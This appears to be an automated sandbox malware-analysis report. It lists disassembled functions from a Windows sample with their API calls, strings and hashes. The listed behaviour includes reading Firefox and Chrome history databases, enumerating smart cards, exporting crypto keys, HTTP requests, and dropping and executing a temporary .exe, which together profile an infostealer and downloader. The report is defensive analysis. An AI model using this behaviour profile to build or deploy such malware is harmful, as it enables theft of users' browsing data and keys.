WinHttpSendRequest.WINHTTP ref: 00007FF7CB87231D
WinHttpReceiveResponse.WINHTTP ref: 00007FF7CB872330
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF7CB872359
WinHttpReadData.WINHTTP ref: 00007FF7CB872381
WinHttpCloseHandle.WINHTTP ref: 00007FF7CB8724C7
WinHttpCloseHandle.WINHTTP ref: 00007FF7CB8724D0
WinHttpCloseHandle.WINHTTP ref: 00007FF7CB8724E0

Strings

=p"p, xrefs: 00007FF7CB872440
=p"p, xrefs: 00007FF7CB872265
>p9p, xrefs: 00007FF7CB872241

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Http$CloseHandle$DataHeapOpenOptionQueryRequest$AvailableConnectCrackFreeProcessReadReceiveResponseSend
String ID: =p"p$=p"p$>p9p
API String ID: 199669925-890668147
Opcode ID: a704e8ea3cc7e12d3e41ecaca187322a5b9e62bb98761d97aa9ec53c2d1b6b09
Instruction ID: 358411729c71c0eddec73b98770935befcb48ad99b693cfde3e431a4364d039e
Opcode Fuzzy Hash: a704e8ea3cc7e12d3e41ecaca187322a5b9e62bb98761d97aa9ec53c2d1b6b09
Instruction Fuzzy Hash: 3CA1E232A1839186EB10EF6AA4401A9B7E1FB89B98F940035FE4C53B68CF3DD455CB90

Function 00007FF7CB87FB34 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 65stringfileCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CB87FB65
lstrcatW.KERNEL32 ref: 00007FF7CB87FB72
lstrcpyW.KERNEL32 ref: 00007FF7CB87FB83
lstrcatW.KERNEL32 ref: 00007FF7CB87FB97
FindFirstFileW.KERNEL32 ref: 00007FF7CB87FBAB
lstrcatW.KERNEL32 ref: 00007FF7CB87FBC9
lstrcatW.KERNEL32 ref: 00007FF7CB87FBDA
FindClose.KERNEL32 ref: 00007FF7CB87FBE3

Part of subcall function 00007FF7CB87FF38: lstrlenW.KERNEL32 ref: 00007FF7CB87FF5E
Part of subcall function 00007FF7CB87FF38: lstrlenW.KERNEL32 ref: 00007FF7CB87FF7A
Part of subcall function 00007FF7CB87FF38: WideCharToMultiByte.KERNEL32 ref: 00007FF7CB87FFA3
Part of subcall function 00007FF7CB87FF38: PathFileExistsA.SHLWAPI ref: 00007FF7CB87FFAC
Part of subcall function 00007FF7CB87FF38: OpenFile.KERNEL32 ref: 00007FF7CB87FFC5
Part of subcall function 00007FF7CB87FF38: GetFileSize.KERNEL32 ref: 00007FF7CB87FFE5
Part of subcall function 00007FF7CB87FF38: CreateFileMappingA.KERNEL32 ref: 00007FF7CB88001C
Part of subcall function 00007FF7CB87FF38: MapViewOfFile.KERNEL32 ref: 00007FF7CB88003D
Part of subcall function 00007FF7CB87FF38: __memcpy.DELAYIMP ref: 00007FF7CB88004F
Part of subcall function 00007FF7CB87FF38: UnmapViewOfFile.KERNEL32 ref: 00007FF7CB88005A
Part of subcall function 00007FF7CB87FF38: CloseHandle.KERNEL32 ref: 00007FF7CB880063
Part of subcall function 00007FF7CB87FF38: CloseHandle.KERNEL32 ref: 00007FF7CB88006C

Part of subcall function 00007FF7CB87F27C: __memcpy.DELAYIMP ref: 00007FF7CB87F29A

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

Strings

\places.sqlite, xrefs: 00007FF7CB87FBCF
*.default-release, xrefs: 00007FF7CB87FB89
APPDATA, xrefs: 00007FF7CB87FB5E

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: File$lstrcat$Close$FindHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFirstFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcpy
String ID: *.default-release$APPDATA$\places.sqlite
API String ID: 4154822446-3438982840
Opcode ID: e65e7b83617ab43540fe00d47d34ac815f55c605aef4560ecc047bbf39011d3b
Instruction ID: d0455abd4ca1f3b2c438d13c69b174e5c8711d0fe7121ea749fce2bfe9d31196
Opcode Fuzzy Hash: e65e7b83617ab43540fe00d47d34ac815f55c605aef4560ecc047bbf39011d3b
Instruction Fuzzy Hash: E9319321A1899392EF10EF18E8401E8F3A1FB447A8FC05031FA5D475B8EF6DD659C7A0

Function 00007FF7CB87B424 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 310COMMON

Download Yara Rule

APIs

SCardGetStatusChangeW.WINSCARD ref: 00007FF7CB87B53B
SCardListCardsW.WINSCARD ref: 00007FF7CB87B5E3
SCardFreeMemory.WINSCARD ref: 00007FF7CB87B67A
SCardListCardsW.WINSCARD ref: 00007FF7CB87B7A2
SCardFreeMemory.WINSCARD ref: 00007FF7CB87B837

Strings

"_": "", xrefs: 00007FF7CB87B452
%02X, xrefs: 00007FF7CB87B587

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Card$CardsFreeListMemory$ChangeStatus
String ID: "_": ""$%02X
API String ID: 2879528921-1880646522
Opcode ID: 1469aa397842543e0f958f141cad293e1374c8fccdcf4b332ba7a061652e57d8
Instruction ID: f35bf232c224a2f11676fd25ae2f5a5ede517f2a1a3f17c3530aa1d5a82aa213
Opcode Fuzzy Hash: 1469aa397842543e0f958f141cad293e1374c8fccdcf4b332ba7a061652e57d8
Instruction Fuzzy Hash: 74D1B722B4862345EA40FF6998512FC93D59F85BE8BC45031FD1E676B6DF3CE1A183A0

Function 00007FF7CB8778EC Relevance: 6.1, APIs: 4, Instructions: 56libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7CB87797A
GetProcAddress.KERNEL32 ref: 00007FF7CB877986
GetCurrentProcess.KERNEL32 ref: 00007FF7CB877995
IsWow64Process.KERNEL32 ref: 00007FF7CB8779A3

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Process$AddressCurrentLibraryLoadProcWow64
String ID:
API String ID: 4035193891-0
Opcode ID: d9433cb4c0b0783edecceb738938e31f42c253bdf9f57a76c28b29cf26c91256
Instruction ID: 551938a3e6f3be06b21edcc0c957a23d368055908c3b374d9458540a9a5dfa40
Opcode Fuzzy Hash: d9433cb4c0b0783edecceb738938e31f42c253bdf9f57a76c28b29cf26c91256
Instruction Fuzzy Hash: 9421F262A193D283EE00AF28A40027AE7D0FB5D7A4F841235FA8C02B25DF2CC164CB90

Function 00007FF7CB8736F0 Relevance: 3.1, APIs: 2, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptExportKey.ADVAPI32 ref: 00007FF7CB873744
CryptExportKey.ADVAPI32 ref: 00007FF7CB87379E

Part of subcall function 00007FF7CB8725DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871985,?,?,?,00007FF7CB87155F), ref: 00007FF7CB8725E5

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CryptExport$HeapProcess
String ID:
API String ID: 532797600-0
Opcode ID: 3be456bb978bd55ad68a908853d8a1957bca95cb45049c9de1117908c4c22810
Instruction ID: c707df1013618d588ccd940d676f1afc6d3f245919360a996d1d9ed6d9d2612b
Opcode Fuzzy Hash: 3be456bb978bd55ad68a908853d8a1957bca95cb45049c9de1117908c4c22810
Instruction Fuzzy Hash: B721B732A1965292EB50EF19F44037AB3E0EBC4BA8F448130FA4D577A5DF3DD4918B50

Function 00007FF7CB87A51C Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f22fdfa8e974821b920fadf0c5ef20db9c8c6688bbe70ef6b624c4c461a76b7c
Instruction ID: 9ebdea094f5af568808e995ec257f7a6796aaeb88f75f1daf12c894f68a3b08d
Opcode Fuzzy Hash: f22fdfa8e974821b920fadf0c5ef20db9c8c6688bbe70ef6b624c4c461a76b7c
Instruction Fuzzy Hash: 61614853A082E54AE701EE3D84512F96BD1EB1679CF841134FE89A7BA7DA3CD097C360

Function 00007FF7CB87A774 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d01c7f7f70e755251e5213423192505223118269c658bfc9e31a8515983880f
Instruction ID: 4abf57650554da8b079c7e57425feee0d862d06e03ba05dd046897c02da99abb
Opcode Fuzzy Hash: 6d01c7f7f70e755251e5213423192505223118269c658bfc9e31a8515983880f
Instruction Fuzzy Hash: EE515547A082D14CEB129E3D80913ED6FA1EB253A8F854025FE99A7B47D63CD057C360

Function 00007FF7CB87FF38 Relevance: 18.1, APIs: 12, Instructions: 91filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF7CB87FF5E

Part of subcall function 00007FF7CB872588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7CB87CD49), ref: 00007FF7CB872595

lstrlenW.KERNEL32 ref: 00007FF7CB87FF7A
WideCharToMultiByte.KERNEL32 ref: 00007FF7CB87FFA3
PathFileExistsA.SHLWAPI ref: 00007FF7CB87FFAC
OpenFile.KERNEL32 ref: 00007FF7CB87FFC5

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

GetFileSize.KERNEL32 ref: 00007FF7CB87FFE5

Part of subcall function 00007FF7CB8725DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871985,?,?,?,00007FF7CB87155F), ref: 00007FF7CB8725E5

CreateFileMappingA.KERNEL32 ref: 00007FF7CB88001C
MapViewOfFile.KERNEL32 ref: 00007FF7CB88003D
__memcpy.DELAYIMP ref: 00007FF7CB88004F
UnmapViewOfFile.KERNEL32 ref: 00007FF7CB88005A
CloseHandle.KERNEL32 ref: 00007FF7CB880063
CloseHandle.KERNEL32 ref: 00007FF7CB88006C

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: File$Heap$Process$CloseHandleViewlstrlen$ByteCharCreateExistsFreeMappingMultiOpenPathSizeUnmapWide__memcpy
String ID:
API String ID: 2161876737-0
Opcode ID: fc837f05eaeaec11483a2d0ed697738c41b71f0394e06bed3ba4087a4e68e6b5
Instruction ID: cf252373969a17edfaa822b94be16872246bc04c2e7cb6503e0da1379f8aa3b6
Opcode Fuzzy Hash: fc837f05eaeaec11483a2d0ed697738c41b71f0394e06bed3ba4087a4e68e6b5
Instruction Fuzzy Hash: 8C31B221B0866283E720FF2AA858729A2D0BF89BF0F844234ED5D477B5DF3ED4558790

Function 00007FF7CB871CBC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 65filetimeCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF7CB871CF7
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CB871D04
wsprintfA.USER32 ref: 00007FF7CB871D1C
CreateFileA.KERNEL32 ref: 00007FF7CB871D56
WriteFile.KERNEL32 ref: 00007FF7CB871D88
CloseHandle.KERNEL32 ref: 00007FF7CB871DA9
ShellExecuteA.SHELL32 ref: 00007FF7CB871DCE

Strings

%08X.exe, xrefs: 00007FF7CB871D11
open, xrefs: 00007FF7CB871DC2

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: File$Time$CloseCreateExecuteHandlePathShellSystemTempWritewsprintf
String ID: %08X.exe$open
API String ID: 2307396689-1771423410
Opcode ID: 5ca8c4d93bbcac26c49b5db9cd55d20708d169f99a7b767ef2df99b98dd97959
Instruction ID: c60ed29b11fb171a64b106f9c59609a265a8f91bc85519c714055a426341331a
Opcode Fuzzy Hash: 5ca8c4d93bbcac26c49b5db9cd55d20708d169f99a7b767ef2df99b98dd97959
Instruction Fuzzy Hash: 3C31D87264899197E720EF64E8847E9A361FB8879CFC04035EA4D46968CF7CC65CC750

Function 00007FF7CB87F984 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CB87FA58
lstrcatW.KERNEL32 ref: 00007FF7CB87FA68
lstrcatW.KERNEL32 ref: 00007FF7CB87FA78
lstrcatW.KERNEL32 ref: 00007FF7CB87FA8C

Part of subcall function 00007FF7CB87FF38: lstrlenW.KERNEL32 ref: 00007FF7CB87FF5E
Part of subcall function 00007FF7CB87FF38: lstrlenW.KERNEL32 ref: 00007FF7CB87FF7A
Part of subcall function 00007FF7CB87FF38: WideCharToMultiByte.KERNEL32 ref: 00007FF7CB87FFA3
Part of subcall function 00007FF7CB87FF38: PathFileExistsA.SHLWAPI ref: 00007FF7CB87FFAC
Part of subcall function 00007FF7CB87FF38: OpenFile.KERNEL32 ref: 00007FF7CB87FFC5
Part of subcall function 00007FF7CB87FF38: GetFileSize.KERNEL32 ref: 00007FF7CB87FFE5
Part of subcall function 00007FF7CB87FF38: CreateFileMappingA.KERNEL32 ref: 00007FF7CB88001C
Part of subcall function 00007FF7CB87FF38: MapViewOfFile.KERNEL32 ref: 00007FF7CB88003D
Part of subcall function 00007FF7CB87FF38: __memcpy.DELAYIMP ref: 00007FF7CB88004F
Part of subcall function 00007FF7CB87FF38: UnmapViewOfFile.KERNEL32 ref: 00007FF7CB88005A
Part of subcall function 00007FF7CB87FF38: CloseHandle.KERNEL32 ref: 00007FF7CB880063
Part of subcall function 00007FF7CB87FF38: CloseHandle.KERNEL32 ref: 00007FF7CB88006C

Part of subcall function 00007FF7CB87F27C: __memcpy.DELAYIMP ref: 00007FF7CB87F29A

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

lstrlenW.KERNEL32 ref: 00007FF7CB87FAFB

Strings

\History, xrefs: 00007FF7CB87FA7E
Default, xrefs: 00007FF7CB87F9A6
LOCALAPPDATA, xrefs: 00007FF7CB87FA51

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: File$lstrcatlstrlen$CloseHandleHeapView__memcpy$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWide
String ID: Default$LOCALAPPDATA$\History
API String ID: 3980575106-3555721359
Opcode ID: 3e70a395a46a2af505291de9ab1fd73a1e68383478261f10fbcbd77587007c23
Instruction ID: 4a218ccb6b6c3a6c7839d29b80c70d988f030818fefd2f8792d73ffa2babedd3
Opcode Fuzzy Hash: 3e70a395a46a2af505291de9ab1fd73a1e68383478261f10fbcbd77587007c23
Instruction Fuzzy Hash: 6B514622D18F9583E751EF28D5012B873B0F798798F85A221EB8D53666EF34E6D8C340

Function 00007FF7CB87FC6C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7CB87FC85
CoCreateInstance.OLE32 ref: 00007FF7CB87FCA8
CoUninitialize.OLE32 ref: 00007FF7CB87FDBF

Strings

http, xrefs: 00007FF7CB87FD6A

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: http
API String ID: 948891078-2541227442
Opcode ID: fa2a4001140bfe5c7a6159744d5126d4965f0e2380b7f0228df080dfac48d025
Instruction ID: dceda2d87e78b5c5c51636636522a8b2d78dfa9d2fcf0312379a4c3af8ff27bb
Opcode Fuzzy Hash: fa2a4001140bfe5c7a6159744d5126d4965f0e2380b7f0228df080dfac48d025
Instruction Fuzzy Hash: 7A418532608A929AE710EF79E4447ADB7E0EB8479CF804135FA0D5AA64DF3DD594C390

Function 00007FF7CB879478 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81timesynchronizationCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CB8794BF
WaitForSingleObject.KERNEL32 ref: 00007FF7CB879505
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CB879517
TerminateProcess.KERNEL32 ref: 00007FF7CB87953A

Part of subcall function 00007FF7CB87968C: PeekNamedPipe.KERNELBASE ref: 00007FF7CB8796B8

GetExitCodeProcess.KERNEL32 ref: 00007FF7CB879585
CloseHandle.KERNEL32 ref: 00007FF7CB879593

Strings

exit, xrefs: 00007FF7CB879482

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Time$FileProcessSystem$CloseCodeExitHandleNamedObjectPeekPipeSingleTerminateWait
String ID: exit
API String ID: 1626563136-1626635026
Opcode ID: 157560532fddbdd474931b5b94a5a6403812c246ff955327fdeda3b2fbfc7b7d
Instruction ID: 5f90b5292985537a2f98fe2e9fe5aee50d67c52b4e441a2ba8e8b912ef5b1709
Opcode Fuzzy Hash: 157560532fddbdd474931b5b94a5a6403812c246ff955327fdeda3b2fbfc7b7d
Instruction Fuzzy Hash: 79316621A0866291EB50FF39D494179A3E1FF84BA8FD41031F90E965B9DF2CD895C3A0

Function 00007FF7CB871EEC Relevance: 12.2, APIs: 8, Instructions: 152commemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CB871DE8: RegCreateKeyExA.ADVAPI32 ref: 00007FF7CB871E35

CoInitializeEx.OLE32 ref: 00007FF7CB871F1E
VariantInit.OLEAUT32 ref: 00007FF7CB871F28
CoCreateInstance.OLE32 ref: 00007FF7CB871F50
SysAllocString.OLEAUT32 ref: 00007FF7CB871F61
SafeArrayCreateVector.OLEAUT32 ref: 00007FF7CB871F7D
SafeArrayAccessData.OLEAUT32 ref: 00007FF7CB871F93
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF7CB871FAC
SysFreeString.OLEAUT32 ref: 00007FF7CB872111

Part of subcall function 00007FF7CB871CBC: GetTempPathA.KERNEL32 ref: 00007FF7CB871CF7
Part of subcall function 00007FF7CB871CBC: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CB871D04
Part of subcall function 00007FF7CB871CBC: wsprintfA.USER32 ref: 00007FF7CB871D1C
Part of subcall function 00007FF7CB871CBC: CreateFileA.KERNEL32 ref: 00007FF7CB871D56
Part of subcall function 00007FF7CB871CBC: WriteFile.KERNEL32 ref: 00007FF7CB871D88
Part of subcall function 00007FF7CB871CBC: CloseHandle.KERNEL32 ref: 00007FF7CB871DA9
Part of subcall function 00007FF7CB871CBC: ShellExecuteA.SHELL32 ref: 00007FF7CB871DCE

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Create$ArrayFileSafe$DataStringTime$AccessAllocCloseExecuteFreeHandleInitInitializeInstancePathShellSystemTempUnaccessVariantVectorWritewsprintf
String ID:
API String ID: 1750269033-0
Opcode ID: 24e8de18f55c2aa4b7ce6dc9423715127756d38879f1172464cba5bf6f043b18
Instruction ID: 4e6c28528e0a336229273ff423f24f8dad45a31ebe4ed53d2cc43d282badf1e3
Opcode Fuzzy Hash: 24e8de18f55c2aa4b7ce6dc9423715127756d38879f1172464cba5bf6f043b18
Instruction Fuzzy Hash: 5D615B36B44A1696EB10EF69D4503AC73A0FB49B9CF848032EE0D57B68DF39D559C3A0

Function 00007FF7CB87ECB8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CB8725DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871985,?,?,?,00007FF7CB87155F), ref: 00007FF7CB8725E5

__memcpy.DELAYIMP ref: 00007FF7CB87ED3F

Part of subcall function 00007FF7CB880110: __memcpy.DELAYIMP ref: 00007FF7CB880141
Part of subcall function 00007FF7CB880110: __memcpy.DELAYIMP ref: 00007FF7CB88014F

Part of subcall function 00007FF7CB87EB90: lstrlenA.KERNEL32 ref: 00007FF7CB87EBAD

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

Strings

url, xrefs: 00007FF7CB87ED88
table, xrefs: 00007FF7CB87ECEA
last_visit_time, xrefs: 00007FF7CB87ED9B
urls, xrefs: 00007FF7CB87ED08

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: 5917827d18d7574bbadcfaa1a2a35274c5974392dd144eb3ec1868595c081487
Instruction ID: 682ab36bfca38d6671ada07cb14a888b5d7637254467ba3f142966790924cfc9
Opcode Fuzzy Hash: 5917827d18d7574bbadcfaa1a2a35274c5974392dd144eb3ec1868595c081487
Instruction Fuzzy Hash: E231A91260869382DA60FF2EE4501AAA3D4FB407E8F804431FE5D57BA5EF3CD4A5C760

Function 00007FF7CB87EED8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

